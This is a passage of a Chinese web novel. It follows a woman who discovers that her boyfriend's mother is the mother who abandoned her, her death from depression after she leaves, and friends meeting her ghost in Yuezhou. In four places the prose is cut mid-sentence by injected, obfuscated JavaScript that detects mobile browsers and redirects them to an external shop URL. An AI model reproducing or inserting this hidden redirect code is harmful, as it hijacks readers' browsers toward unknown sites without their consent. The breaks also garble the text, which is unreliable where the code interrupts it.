阮母手边的水果叉不小心被碰落在地,发出清脆的响声。她立刻弯腰去捡,蹲下身时,呼吸明显急促了几分。 “是、是吗?可能……可能长得像的人很多吧。”她捡起叉子,没有立刻起身,声音从下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964840|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方传来,带着掩饰不住的紧绷。 阮瑞晓看着阮母微微颤抖的肩背,心中那片荒凉的冰原上,仿佛刮过一阵更凛冽的风。 “阿姨,其实有件事情,我一直没跟阳昭提起过。”阮瑞晓站起身,往外走了两步,“因为家里重男轻女,我的名字,是阮待麟,听说,家里所有人都希望,我是个男孩,但事与愿违,他们就给我起了这么一个名字,希望我能有个弟弟,所以,我叫,待麟。” 阮母维持着蹲姿,僵在那里,动弹不得。时间仿佛凝固,她眼前发黑,耳畔嗡嗡作响。 原来是她。 真的是她。 那个被她亲手剪断血缘、丢弃在旧日时光里的女儿,就这么猝不及防地,以儿子女朋友的身份,安静地坐在了她崭新生活的客厅里,用最平淡的语气,揭开了最鲜血淋漓的过往。 阮瑞晓静静地看着阮母僵硬的后背,看着这个可能是她生母的女人,在她面前一点点溃不成军。 “但是我不喜欢这个名字。同样是亲生的,为什么我那个素未谋面的弟弟可以拥有家人的爱和期望,我就只能充当他的垫脚石?我叫自己阮瑞晓,祥瑞、破晓。我希望总有一天,我可以拥有属于自己的存在和未来。” 过了许久,阮母才扶着桌沿缓慢站起身。她的脸色苍白得吓人,眼眶却诡异地泛着红。她不敢再看阮瑞晓,眼神飘忽,嘴唇翕动了几下,发出嘶哑的声音。 “……是个好名字。”她停顿了很长时间,仿佛用尽了全身力气,才挤出一句完整的话,“你……你和你爸爸,长得像吗?” 她还是不敢承认,将问题又抛给了阮瑞晓。 阮瑞晓忽然觉得有些疲惫,一种深入骨髓的疲惫。这场试探,此刻显得如此苍白而残忍。她想要的答案,其实已经写在了对方每一寸惊慌失措的反应里。 “我不知道。”她垂下眼睫,遮住眸底翻涌的复杂情绪,“照片太旧了,人脸都模糊了。或许像,或许不像。都不重要了。” 她捡起被遗忘在沙发脚的那颗破损的葡萄,用纸巾轻轻擦了擦,放回果盘。 “阿姨,我去下洗手间。” 说完,她不再看阮母的反应,转身走向客厅另一侧的洗手间,关上门,隔绝了外面那个几乎要崩塌的世界。 镜子里的女孩脸色同样苍白,眼神里有迷茫,有痛楚。她打开水龙头,用冰凉的水扑了扑脸。 门外,隐约传来阮母极力压抑的细碎的抽泣声,但很快又消失了,取而代之的是瓷器轻微碰撞的声音,像是在拼命维持最后的体面。 阮瑞晓看着镜中的自己,轻轻扯了扯嘴角。 有些答案,已经不需要言语来确认了。那沉重的、带着愧疚与恐惧的沉默,那瞬间崩塌又强行拼接的镇定,比任何直白的承认或否认,都更加震耳欲聋。 原来找到真相的感觉,比漫长的等待更加残忍。 她终于明白,自己追寻的不是亲情,而是一个解释。但或许,有些问题本就无解,有些人本就是选择性地遗忘,或者强行遗忘。 25. chapter 25 阮瑞晓回到客厅的时候,阮阳昭他们还没有回来,阮母坐在沙发上,背对着她,身体都在无法抑制地颤抖。 “阿姨,时候不早了,我该回去了。” 阮瑞晓走到玄关处,换好鞋,拿起自己的包。 “孩子……”阮母下意识站起来,却又在和阮瑞晓对上视线的瞬间慌忙背过身。 “等、等阳昭回来吧,他……他送你回家。”阮母不忍她独自离开,可想到他们回来后,四个人无措的模样,她更加慌张,“不过、不过,他们也不知道什么时候回来……” 阮瑞晓深吸一口气,打开门:“阿姨,这些年,您还真是一点没变。” 关于她母亲的过去,她有所耳闻。毕竟,在那种地方,一个女人生了个女儿,就是最大的污点,即使这个女人又生了儿子,即使这个女人赚了大钱,即使这个女人去世,邻里都会记得她生了个女儿这件事,并且把这事情当作谈资,年复一年、日复一日地传承下去。也正因为如此,她听说过不少关于她母亲的事情,分不清几分真几分假。 听闻,她母亲也是从极度重男轻女的家庭里出来的,一辆二手摩托,就被换走了。 结婚之后,她母亲很快生下了一个孩子,是个女孩儿。因为这个女孩儿,她母亲的日子很不好过,闲言碎语、侮辱打骂……她父亲是个心狠的人,见不得自己的女人被他们指手画脚、品头论足。两个人将她扔在老家,南下到鹏城。 她听说,她的父母过得还不错,一开始给人打工,后来跟着朋友赚了点钱,开始自己当老板,又赚了大钱。 但他们从来没有再回家。 她听说,再后来,她的父母又生下了一个儿子。 他们似乎铁了心要和家里断干净,他重男轻女的父母和亲家,还有他被重男轻女的女儿,全部成了他们开启美满新生活牺牲品。她的母亲,从一开始的牺牲品,变成了后来的伥鬼。从前,父母的意志就是她的意志,后来,丈夫的意志就是她的意志,再后来,儿子的意志就是她的意志。 她是李长贵的女儿,是阮继业的妻子,是阮阳昭的母亲。 但她从来不是李欣。 回到家,阮瑞晓拖出床下的行李箱,开始收拾自己寥寥无几的行李。 动作很轻,像在进行一场沉默的仪式。每折叠一件衣服,就像是折叠一段记忆;每放回一件物品,就像是告别一种可能。 没过多久,她来到北城后留下的一切都打包进了行李箱。 深夜,阮瑞晓拖着行李箱,轻轻带上了房门。钥匙被她留在了屋内的小桌上,旁边压着一张给阮阳昭的字条: 【阳昭,谢谢你这段时间的照顾。终归有缘无份,抑或缘分皆满。勿念。祝好。】 冰雹是凌晨一点多砸下来的。 先是几粒,试探地敲着窗。紧接着,天就漏了,硬邦邦的、带着狠劲的碎骨头,劈头盖脸地往下砸。 玻璃在抖,发出要裂开的声音,路边梧桐树的叶子,瞬间被打得千疮百孔。路灯的光晕里,只剩下狂舞的颗粒,像一场暴乱的雪。 屋顶,车顶,所有暴露在外的东西,都在承受这场无差别的鞭挞。 持续的时间其实不长。等到那令人牙酸的声音终于稀落,街灯一盏盏熄灭,晨光逐渐照亮这座巨大的城市。积水里漂着打烂的叶子和未化完的冰核,在残余的路灯光下,像一地的碎玻璃碴,冷冷地反着光。 窗上,留下一片模糊的水痕,慢慢往下爬,像一道冰冷的泪。 阮瑞晓离开二十四小时便利店,拖着行李箱,独自走向火车站。 她没有回头,就像多年前那辆车载着她的父母离开时一样。 有些寻找,终点不是团聚,而是放手。 有些真相,知道不如不知。 有些离开,是为了不再期待归来。 火车站人潮涌动,阮瑞晓买了一张最近发车的南下的车票。目的地是哪里,她并不确定。只是南方,离北城越远越好,离鼎州越远越好。 最好能去一个没有人认识她的地方。 候车室里,她坐在靠窗的位置,看着窗外逐渐亮起的天空。北城的摩天大楼在晨雾中若隐若现,那座她守望多日的公园,此刻也隐匿在城市的天际线中。 广播响起,她的车次开始检票。 阮瑞晓站起身,拉起行李箱,汇入南下的旅人之中。列车缓缓驶出站台,北城的轮廓在窗外渐渐模糊,最终消失不见。 她靠窗坐下,闭上眼。 脑海中浮现的,不只是父母冷漠的脸,阮阳昭温暖的笑容,还有老家那条雨后泥泞的小路,是工厂流水线上永不停止的传送带,是公园长椅上等待的日日夜夜。 那些都是她的过去,而现在,她要走向一个没有他们的未来。 列车加速,载着她驶向未知的南方。 阳光透过车窗洒在她脸上,温暖而明亮。 阮瑞晓睁开眼,望着窗外飞驰而过的田野和村庄。 她终于明白,有些答案,不必向别人讨要。有些路,只能自己走完。 而生活,终将继续。 - “后来呢?”陈归澜问,“你后来见过瑞晓?她告诉你这些?” 阮阳昭摇头,声音嘶哑,似乎不愿意回忆起那段经过,但又渴望找到一个倾诉的人,替他分担这段时间的痛苦,哪怕只有一点。 “妈告诉我……晚上,我和爸处理完一切,回家的时候,瑞晓已经走了。我要去追,妈拦住了我。”阮阳昭整个人都像筛子一样颤抖起来,“她说,不准我和瑞晓继续交往,不准我和瑞晓有任何联系。爸不知道真相,但他也赞同妈的想法,他认为,瑞晓家里普通,在事业上没有任何帮助,不支持我们继续发展下去。” 阮阳昭:“我不愿意,我说,我一定要和瑞晓在一起。这个时候……妈,才说出了真相。” 他抬起头,无助地看向陈归澜:“妈说,阮瑞晓,原名,阮待麟,是我的亲姐姐,同父同母的亲姐姐。” 陈归澜静静地看着阮阳昭,并不想承接对方的任何情绪。 阮阳昭终究是将所有痛苦都收了回去。 “一开始,我不相信,但爸也说……容不得我不相信。” 赵许一站在外面,听完整个故事,一面震惊阮家的事情,一面震惊,原来他和陈归澜早就有了缘分。 阮阳昭:“晚上,我还是去了瑞晓的家……但她已经离开了。” 阮阳昭从衬衫口袋里拿出一张泛黄的、皱巴巴的字条,一如当年他们留给阮瑞晓的照片。 “阳昭,谢谢你这段时间的照顾。终归有缘无份,抑或是缘分皆满。勿念。祝好……”阮阳昭摇头,开始抽泣,“我不好,不会好……” 继而,他崩溃大哭。 赵许一见状,赶紧上前。 “归澜,他情绪不好,我先带他回去。” 陈归澜点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970595|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,没什么表情。 赵许一几乎是拖着将人带了出去。 走出去很远,陈归澜依然能听到阮阳昭的悲鸣。 他不仅失去了他的亲姐姐,同时也失去了自己的爱人。 - 十月初,北城各地的枫叶慢慢变红,四处黄绿交织,却也人满为患。 陈品妍倚在栏杆上,眺望远处的摩天大楼。 “知道你不喜欢人多的地方。呐,南枫山清净得很。” 陈归澜深吸一口南枫山干净的空气,又缓缓吐出。 “南枫山不是私人的?”陈归澜环顾四周。南枫山的观景台不少,这一处恰恰是位置最好的,但也是不对外开放的。进入这处观景台的道路封了一大段,每时每刻都有专人看着入口,别说车开不进,人也进不来。 陈归澜拎着脖子上挂的通行证,问:“通行证怎么弄到的?” 刘品妍神秘地笑了笑:“秘密!” 陈归澜理所当然地猜测:“你男朋友?” 陈品妍的家世背景她有所耳闻,但毕竟是对方的隐私,她也没在对方面前提过。只是,这南枫山听说是郭家私人所有,而那郭家……她和白越在赛车场见过郭家少爷,用风流倜傥、意气风发来形容再合适不过,不深入了解也看得出来,那郭家少爷也就是看上去不拘小节,实际上难接触得很。陈品妍不像是会喜欢这种男人的人。 “当然不是,我不喜欢那郭大少爷,郭大少爷也早已心有所属。” 陈归澜不禁挑眉。 陈品妍:“我是郭大少爷心仪之人的朋友,凭这层关系,拿两张通行证,不过分吧?” 陈归澜失笑:“当然不过分。” 陈归澜沉默半晌,开口:“起雾了。” 陈品妍顺着她的目光望去。方才还清晰可见的远山轮廓,此刻已被一层薄纱般的灰白雾气缓缓缠绕、渗透。雾气自山腰的林间、亭台的间隙、雕梁画栋的飞檐翘角处,丝丝缕缕地弥漫出来,悄无声息地浸润着视野里的一切。 “是啊,起雾了。”陈品妍深吸了一口变得湿润微凉的空气。 南枫山的雾,和别处不同,来得快,去得也快,有时候浓得化不开,几步外就人影模糊,有时候又像现在这样,只是薄薄一层,给山景镀上一层磨砂,反倒更有味道。 远处的亭台楼阁在雾中若隐若现,朱红的柱子、鎏金的瓦顶,失去了锐利的边角,融进了水墨画般的背景里。近处,那些原本黄绿交织、间或点缀着烈焰般红色的枫树,颜色也变得沉静柔和了许多。雾气附着在叶片上,凝成细密的水珠,阳光偶尔艰难地穿透云层和雾霭,便在水珠上折射出碎钻般细碎迷离的光。 观景台确实如陈归澜所说,清净得异乎寻常。 除了她们两人,只有不远处两个穿着制服的工作人员安静地守在入口附近的亭子里,像融入背景的雕塑。远处的喧嚣都被这渐浓的雾气隔绝,传到耳边时,只剩下模糊的、潮水般的背景音。 “听说这南枫山,最早不叫南枫山,也没有这么多枫树。”陈品妍忽然开口,声音在静谧的雾气里显得格外清晰,“是很多年前,山主人一位极爱枫树的故人,从各地,甚至海外,寻来不同的品种,一点点移栽、培育,才有了如今这‘霜叶红于二月花’的盛景。尤其是这处观景台望出去的这一片,品种最珍,颜色层次也最是丰富。可惜,那位故人自己,却没怎么来得及好好看过几次层林尽染的模样。” 26. chapter 26 陈归澜默然。 她听出了陈品妍话里未尽的唏嘘。这世间的许多美好,往往都带着这样或那样的遗憾底色。她将目光投向雾气深处,试图辨认那些在朦胧中变换色彩的树影。有些枫叶红得已经十分透彻,像凝结的血,又像暗燃的炭,在灰白的雾气衬托下,有种惊心动魄的艳。有些则还带着倔强的绿意,或是正处于由黄转红的过渡期,呈现出一种斑斓的油画般的质感。 “所以,已经决定好了?” “嗯,决定好了。” 和陈品妍约着出来,不仅是闲聊。 她打算离开北城,做最后的告别。 阮阳昭说,阮瑞晓南下去了烟雨朦胧的越州。 据说,阮瑞晓一开始只是想去越州忘掉一切,重新开始。 她有从头再来的勇气,一直都有。 据说,房东发现她的尸体时,马上报了警,经过尸检,死因是抑郁症。 她没有自杀,只是因为抑郁症。 严重营养不良、坠积性肺炎、肺栓塞、免疫力崩溃、器官衰竭……这些器质性损害,夺走了她试图攥在手里的生命。 她联系过房东,阮瑞晓住过的房子,后来据说闹鬼,被阮阳昭买了下来。 她想去看看,阮瑞晓是不是还在那里。 “然后……去巴黎。” 白越的旅途在巴黎结束,她想,从巴黎开始。 “还回来吗?”陈品妍问。 “或许吧。”陈归澜还不确定,“店交给米利安和佳欣,房子我暂时委托给了江敬寒。之后的事情,再说吧。” 说着,山风忽然掠过观景台,带来一阵更深的凉意,也搅动了平静的雾气。 眼前的景象仿佛活了过来,雾气如流云般舒卷,露出一角清晰的飞檐,吞没一整片绚烂的树冠。风过林梢,带来沙沙的声响,和着远处依稀的钟鸣。 “雾要散了。”陈品妍看着前方。 一股更强的气流,将环绕着远处那座琉璃塔顶的浓雾缓缓拨开,金色的阳光趁机洒落,将塔顶映照得辉煌起来,旋即又因雾气的重新聚拢而黯淡下去。 陈归澜不再说话,只是静静倚着冰凉的栏杆。 - 陈归澜到机场的时候,赵许一、江敬寒和阮阳昭都已经在了。 陈归澜看着神色各异的三个人,脚步顿了顿,然后绕过他们,走向安检。 赵许一赶紧跟上:“打算一个人去?说好的饭还没吃呢!” 赵许一朝江敬寒使眼色,江敬寒赶紧上前。 “是啊,不是答应周三一起吃饭?我可是等了好几个周三,都没等到那场邀约。” 陈归澜的脚步停下,转身看向跟来的三人。 她轻轻叹了口气:“我不是去旅行。” “我们知道。”赵许一抢先开口,他向来直接,“越州那地方,你一个人去不闷得慌?多几个伴,就当……就当是陪我去散心了。说好的饭,总不能黄了吧?越州我去过,越州菜我也熟。这一趟,大家的费用我全包!” 江敬寒看了一眼这位阔少,忍不住摇头。 这里站着的四个人,没一个是缺钱。 江敬寒适时上前半步:“归澜,你这次去越州,也是为了阮瑞晓的事情,总得带上我们这群想干的人,是不是?再说,越州的事情之后,你又马不停蹄要去巴黎,再见就难了,总得给我们这些朋友一个践行的机会吧?” 陈归澜的视线最终落在阮阳昭身上。 他比其他两人沉默得多,只是站在那里,周身笼罩着一层难以驱散的郁色。见陈归澜看他,他才动了动唇,声音有些干涩:“归澜,我听说……你有一些特别的能力,能看见常人看不见的。” 他抬起眼:“瑞晓的事,我……如果她真的还在那里,如果有一点点可能……我想见她。至少,我想知道她最后那段日子,是不是真的那么……孤单。” 最后几个字,他说得很轻,却重重地落在空气里。 陈归澜沉默地看着他们。 山间那流转的雾气仿佛又一次漫过眼前,聚散无常,人与人之间的牵连,又何尝不是如此?她本想独自踏入那片朦胧,去触碰一个或许早已消散的灵魂,也踏上自己新的开端。 “那房子,”她终于开口,声音平静,“不一定有你们想找的答案。甚至可能什么都没有。” “没关系。”阮阳昭立刻道,语气急切。 “跟着也行,”陈归澜的目光扫过几人,“最后一次。越州之后,这种事情我再也不管。” 赵许一眼睛一亮:“我保证不拖后腿,还能帮你拎包跑腿!” 陈归澜不再多说,转身走向安检队伍。 山间的雾或许终会散,人生的雾,也总是散了又聚,聚了又散。 去越州的飞机上,她靠窗坐着,望着舷窗外翻滚的云海。赵许一试图和她搭话,被江敬寒用一本杂志轻轻拦下。阮阳昭则一直望着窗外另一侧,侧脸紧绷。 陈归澜闭上眼。 也好。 有些路,一个人走是清冷,一群人走是纷扰。但既然避不开这纷扰,那就看看,这纷扰之中,能否照见不一样的天空,与未散尽的魂灵。 - 越州的秋,是浸在连绵雨丝里的。 陈归澜一行四人撑着伞,穿过窄巷湿滑的青石板路。 阮瑞晓住过的那间房子,藏在一片即将改造的老居民区深处,白墙黑瓦已显斑驳,木门上的春联残破褪色,被雨水浸透,软塌塌地垂着。 钥匙在旧锁孔里费力地转动,发出滞涩的“咔哒”声。门向内推开,一股混合着淡淡霉味、灰尘气息和某种难以言喻的、仿佛生命痕迹彻底消散后的“空”的气味,扑面而来。 屋里比想象中更空。 客厅很小,只有一张老旧掉漆的方桌,一把腿脚有些不稳的木椅子靠墙放着。 地面是粗糙的水泥,角落有返潮的水渍。没有窗帘,只有一块洗得发白的旧布挂在窗边,外面灰蒙蒙的天光透进来,给屋里的一切都罩上一层黯淡的滤镜。 阮阳昭知道阮瑞晓的死讯之后,赶来为她收拾行李。 那天,外面灰蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975372|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙的,能看见阳光,但阳光仿佛被云层阻挡在了万米之外的高空,只能看见,却没有丝毫暖意。 房东一直在房间里来回打转,嘴里辱骂着脏话,说当初是看阮瑞晓一个人可怜,才租给了她,没想到惹来这种祸事,房子里死了人,房子也租不出去了。 阮阳昭不忍阮瑞晓死后还要被咒骂,拿钱堵住了房东的嘴。 他本想住在这里,却又不忍破坏她留下的最后痕迹。于是,他把房子隔壁也买了下来。 大多数时候,他就躺在阮瑞晓躺过的床上,等时光流逝,等死亡降临。 后来,父母找了过来。 他不想他们破坏她存在过的痕迹,于是一声不吭出了国。 方桌正中,摆了只粗陶的小瓶,瓶里插着一朵花。 是阮瑞晓离世前摆上去的。 花就像她的这一生,昙花一现。 一朵已经彻底枯萎的韦驮花,纤细的花茎弯折,原本应是洁白的花瓣蜷缩成焦褐色的薄片,了无生气地耷拉着。 陈归澜的目光,却没有停留在花上。 她看见了。 桌子旁边,窗子投下那片灰白光晕的边缘,一个身影安静地站在那里。很淡,像隔着毛玻璃看旧照片,边缘微微晕开,仿佛随时会溶进背景的黯淡里。 那是个非常瘦削的年轻女人,穿着简单的亚麻色连衣裙,裙子空荡荡的,头发很长,松松地垂在身后,脸色是近乎透明的苍白,眉眼低垂,视线落在自己虚无的脚尖。她周身笼罩着一层几乎凝滞的微光,与房间死寂的氛围融为一体。 阮瑞晓。 她的存在感如此稀薄,却又如此不容忽视地填满了这房间。 “就是这里。”阮阳昭的声音干涩,他站在门口,目光急迫又茫然地扫视着空无一物的房间,最终也落在那朵枯萎的韦驮花上,眼神剧震,仿佛被刺了一下。 他看不见阮瑞晓。 赵许一跟在陈归澜身后探头,搓了搓胳膊:“嘶……怎么感觉比外面还冷。” 虽然看不到,但他隐隐觉得,阮瑞晓就在这里。 赵许一和江敬寒交换了一个眼神,默默把之前没有还给陈归澜的眼镜拿出来戴上,果然看见了一个虚无缥缈的身影。 陈归澜没有说话,她慢慢走进房间,脚步很轻,像是怕惊扰了什么。她在距离那个虚影几步远的地方停下,静静看着。 似乎是感觉到了生人的靠近,那低垂的头,缓慢地抬了起来。 那是一张清秀却过分憔悴的脸,眼睛很大,但眼神空洞,没有焦点,仿佛蒙着一层永远散不去的雾气。她的视线掠过陈归澜,没有停留,又缓缓移开,依旧是一片茫然的沉寂。 “阮瑞晓。”陈归澜轻声唤道。 那虚影似乎颤动了一下。空洞的眼神里,似乎有遥远的一点微光,闪了闪,又熄灭了。 就在这时,一直凝神静听的江敬寒,身形一顿。 “我好像听到一点声音,像是……水滴,像是叹气,又像是……在哼什么调子……断断续续的……”他努力分辨着。 27. chapter 27 陈归澜知道,是阮瑞晓残存的意识,因为她的注视和呼唤,她残存的意识开始复苏。 “你,”陈归澜终于回过头,看向阮阳昭,从包里取出一副眼镜,“戴上这个。只能看,别出声,别靠近。” 阮阳昭立刻上前,接过眼镜。 阮阳昭像是被冻住了,站在原地,戴着眼镜,一动不动。他的目光死死锁在那个虚影脸上,嘴唇微微颤抖,张了张,却发不出任何声音。 他找到了,以一种他从未想象过的方式。 窗边,阮瑞晓的鬼魂依旧安静地站着,对他们的注视似乎毫无察觉,或者毫不在意。她的目光,依旧空茫地落在某处,偶尔,那枯萎的韦驮花会进入她虚无的视线范围,而她,只会短暂停留。 雨丝轻轻敲打着窗棂,老屋寂静。 阮阳昭戴上眼镜的瞬间,世界仿佛被撕开了一道口子。 那个他日思夜想、痛悔追忆的身影,就以这样一种虚幻而脆弱的方式,出现在他眼前。不是照片,不是记忆的幻影,而是真真切切、却又触不可及的存在。 他喉头哽住,呼吸都变得困难。 他想冲过去,想呼喊她的名字,想拥抱她,但他不能。 窗边的阮瑞晓对这片陡然炽热起来的注视依旧反应迟缓。她的目光依旧空茫,只是那空茫之中,似乎开始有了一丝细微的波动,像死水微澜。 江敬寒听到的断断续续的哼唱声,变得稍微清晰了一点,那调子哀婉,不成曲调,却听得人心头发酸。 “姐……”阮阳昭终于从喉咙深处挤出一丝气音,破碎不堪。 就在这时,那朵韦驮花枯萎焦褐色的花瓣,似乎颤动了一下。陈归澜看到,阮瑞晓的视线,终于缓慢地聚焦在那朵花上。 然后,她抬起了手,指尖微微蜷缩,做了一个轻柔的动作,仿佛在抚摸花瓣。 一个细微到几乎不存在的弧度,在她苍白的唇角浮现,又迅速湮灭。 “花……”仿佛叹息,又仿佛梦呓。 阮瑞晓的鬼魂,似乎因为这朵花,从漫长的、停滞的浑噩中,撬开了一丝缝隙。她慢慢地、有些僵硬地转动脖颈,空洞的眼神掠过房间里的每一个人,最后,落在阮阳昭身上。 时间仿佛在那一刻被拉长。 阮瑞晓的眼神里,那层厚重的雾气似乎被某种力量一点点拨开,露出了底下深藏的情绪。 她看着阮阳昭,看了很久,久到窗外的雨声都仿佛静止。 “……阳昭。”又一声叹息般的低语。 阮瑞晓的虚影变得更加清晰了一些,虽然依旧透明,但轮廓分明起来。 “不怪你……”阮瑞晓开口,声音带着解脱般的疲惫,“是我……自己……走不出来了。” 阮阳昭的泪水汹涌而出,他拼命摇头,却发不出完整的音节。 阮瑞晓的目光再次转向那朵枯萎的韦驮花,这一次,她的眼神里有了眷恋,还有释然。 “越州……很美。雨声……很好听。”她的声音断断续续,“我只是……太累了。累到……连重新开始……都觉得是负担。” 她的身影开始变得更加透明,边缘开始有细碎的光点飘散,如同逆飞的星尘。 “这里……不冷清了。”她最后看了一眼阮阳昭,那一眼包含了太多未尽之言,最终化作一个微笑,“你来了……就好。” 她又看向陈归澜,眼神清澈了一些,仿佛在说,谢谢。 然后,她的目光彻底从那朵韦驮花上移开,望向窗外灰蒙蒙的天空。 雨丝依旧,但她的脸上再无眷恋与痛苦,只剩下彻底的宁静。 “再见……” 随着这最后一声几乎微不可闻的告别,阮瑞晓的身影如同被阳光照射的晨雾,迅速变淡、消散。那些飘散的光点在空中停留了一瞬,仿佛留恋,又仿佛祝福,然后彻底融入空气之中,再无踪迹。 桌子上,那朵枯萎的韦驮花,最后一片焦褐的花瓣悄然脱落,轻飘飘地落在积着薄灰的桌面上,发出一声细微轻响。 房间里那种无处不在的寒意也随之悄然褪去,雨声、巷子外模糊的人声重新变得清晰,老屋恢复了它应有的寂静与空旷。 阮阳昭腿一软,踉跄着扶住斑驳的墙壁,眼镜滑落,他顺着墙壁慢慢滑坐在地上,将脸深深埋进掌心,肩膀剧烈地耸动,压抑、破碎的呜咽声终于漏了出来。 赵许一默默摘下了眼镜,神色复杂,拍了拍江敬寒的肩膀,默契地退出房间。 陈归澜走到桌边,拾起那片掉落的枯萎花瓣,看了一会儿,轻轻放回粗陶瓶边。她最后看了一眼这个曾经困住一个孤独灵魂、如今终于空寂的房间,转身向外走去。 雨还在下,烟雨朦胧的越州,仿佛刚刚洗去了一丝沉重的执念。 - 雨丝缠绵,将越州老城染成一幅洇开的水墨。 阮阳昭在老屋中那场无声的告别,似乎也耗尽了空气中最后一点滞重。他独自在屋内又待了很久,直到暮色四合,才脚步虚浮地走出来,脸上泪痕已干,眼神却像被这场雨彻底洗过,褪去了长久以来的焦灼与阴郁,只剩下近乎空旷的平静。 四人找了家临河的小馆子坐下,窗外是缓缓流淌的河水与偶过的乌篷船。桌上几样清淡小菜,一壶温热的黄酒,谁也没多少动筷的兴致。 气氛沉默得有些异样,却与之前来时的各怀心事有些不同。 赵许一抿了口酒,暖意入喉,却化不开心里那点莫名的焦躁。 他瞥了一眼坐在对面的陈归澜,她正望着窗外某点出神,侧脸在渐浓的暮色里显得格外清晰,也格外疏离。 “归澜,”赵许一忽然开口,打破了沉寂,“白越……他当年走的时候,也是这样吗?我是说……有没有留下什么话?或者,像阮瑞晓这样……” 他问得有些突兀,甚至有些冒失。话一出口,连他自己都愣了一下,江敬寒也略带诧异地看向他。 陈归澜转回视线,落在酒杯边缘,手指摩挲着粗陶的杯壁。 她没有立刻回答,河面的灯影在她眼中明明灭灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979159|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江敬寒叹了口气,接过话头:“许一,有些事……归澜不提,自然有她的道理。” “可我就是想知道。”赵许一的声音提高了一些,带着他自己都未察觉的烦躁,“这一路,我看得够多了。郑开禾能放下裴书苒,阮阳昭和他姐……那是至亲,是遗憾,是没办法。可白越呢?白越对她来说又是什么?她要去巴黎,是因为白越的旅途在那里结束。那我呢?我们呢?我们这群还活着、还在这儿的人,到底算什么?临时的同行者,还是永远走不进她那个世界的旁观者?” 心里的话宣泄出来,赵许一自己也愣住了。 他又是以一个什么样的立场来质问她? “对不起,归澜,我……”赵许一慌忙道歉,道歉的话一股脑挤到嘴边,一种无力感却悄然升起。 阮阳昭也抬起眼,看向陈归澜,又看着激动的赵许一,眼神复杂。他自己刚刚经历过一场彻底的失去与告别,此刻更能体会赵许一话语里那种不甘与无力。 江敬寒放下酒杯,神情变得严肃起来。 他看了看陈归澜,她依旧沉默,仿佛赵许一的质问只是吹过耳畔的河风。 他没有牵扯到他们的感情之中,但也是他们感情的见证者,也是一名心理医生。无论从哪个身份的角度出发,他都能理解,白越将是陈归澜这一生都无法放下的存在。 江敬寒起身,拍了拍赵许一的肩,将人带了出去。 两人离开,陈归澜才终于将头扭过来,如释重负地深呼吸。 阮阳昭安慰:“别太介意。赵许一他……就这个性格,一直这样。” 陈归澜点头。 他们相处的时间算不上长,赵许一直来直往,没什么坏心思。 “你说,我是不是该放下?”陈归澜问。 曾经,她也问过郑开禾这个问题。十年的感情与阴差阳错,他有发言权。 郑开禾的回答是:不该,也不会。 他那满头花白的头发早就给了她答案。 他做过很多错事,伤害过很多人,即使岁月流转,潮起潮落,时间告诉他该释怀,但他并不打算放过自己。 “我的回答,重要吗?”阮阳昭露出一个比哭还难看的笑,“如果我的回答是该,你会相信吗?” 同样,他也没有打算放过自己。 至今,他仍未弄清楚,阮瑞晓对他,那点仅剩的感情里,究竟是爱情还是亲情,或者是否有过一点爱情。他也没有想明白,被束缚在这里的他,到底是因为对阮瑞晓的爱,还是对姐姐的愧疚。 不过,无论是哪种,他都走不出去。 陈归澜抬头看他,发现阮阳昭的头发不知道什么时候也开始泛白,鬓角像染了霜,甚至比她年纪小。 “我也走不出去……”陈归澜颓然地倚靠在座椅上,苦笑。 “你不一样,你应该放过自己。” “为什么?” “他的死,与你无关。” “不,”陈归澜摇头,“他的死,和我有关。” 28. chapter 28 雨丝如雾,将狭窄的巷子笼罩在一片灰蒙蒙的静谧里。青石板路被浸润得颜色深黯,泛着幽暗的水光,映出头顶一线被屋檐切割的、同样黯淡的天空。远处河面上,乌篷船的灯笼晕开一团团暖黄,却在雨幕中显得遥远而模糊,仿佛另一个世界的光亮。 两人没有走远,就在老屋门檐外的巷子边站定。 潮湿的寒意穿透衣物,赵许一下意识紧了紧外套。 